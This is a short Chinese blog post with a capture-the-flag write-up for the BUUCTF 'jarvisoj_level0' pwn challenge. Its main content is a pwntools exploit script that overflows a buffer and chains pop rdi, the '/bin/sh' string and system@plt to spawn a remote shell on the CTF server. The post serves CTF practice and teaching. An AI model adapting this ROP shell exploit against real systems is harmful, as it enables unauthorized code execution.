BUUCTF jarvisoj_level0

原创于 2020-06-11 13:13:09 发布 · 710 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#BUUCTF

pwn 专栏收录该内容

66 篇文章

订阅专栏

本文展示了一个针对Level0挑战的远程代码执行攻击。通过利用pop_rdi_ret和system_plt漏洞，构造payload发送给远程服务器，成功调用/bin/sh。此攻击过程详细展示了ROP技术在远程攻击中的应用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

在这里插入图片描述
exp

from pwn import *

context(log_level='debug', arch='amd64')

p = remote('node3.buuoj.cn', 26990)
proc_name = './level0'
# p = process(proc_name)
# elf = p.elf
elf = ELF(proc_name)
bin_sh_str = 0x400684
system_plt = elf.plt['system']
pop_rdi_ret = 0x400663
print(system_plt)
payload = 'a'.encode() * (0x80 + 8) + p64(pop_rdi_ret) + p64(bin_sh_str) + p64(system_plt)
p.sendline(payload)
p.interactive()

在这里插入图片描述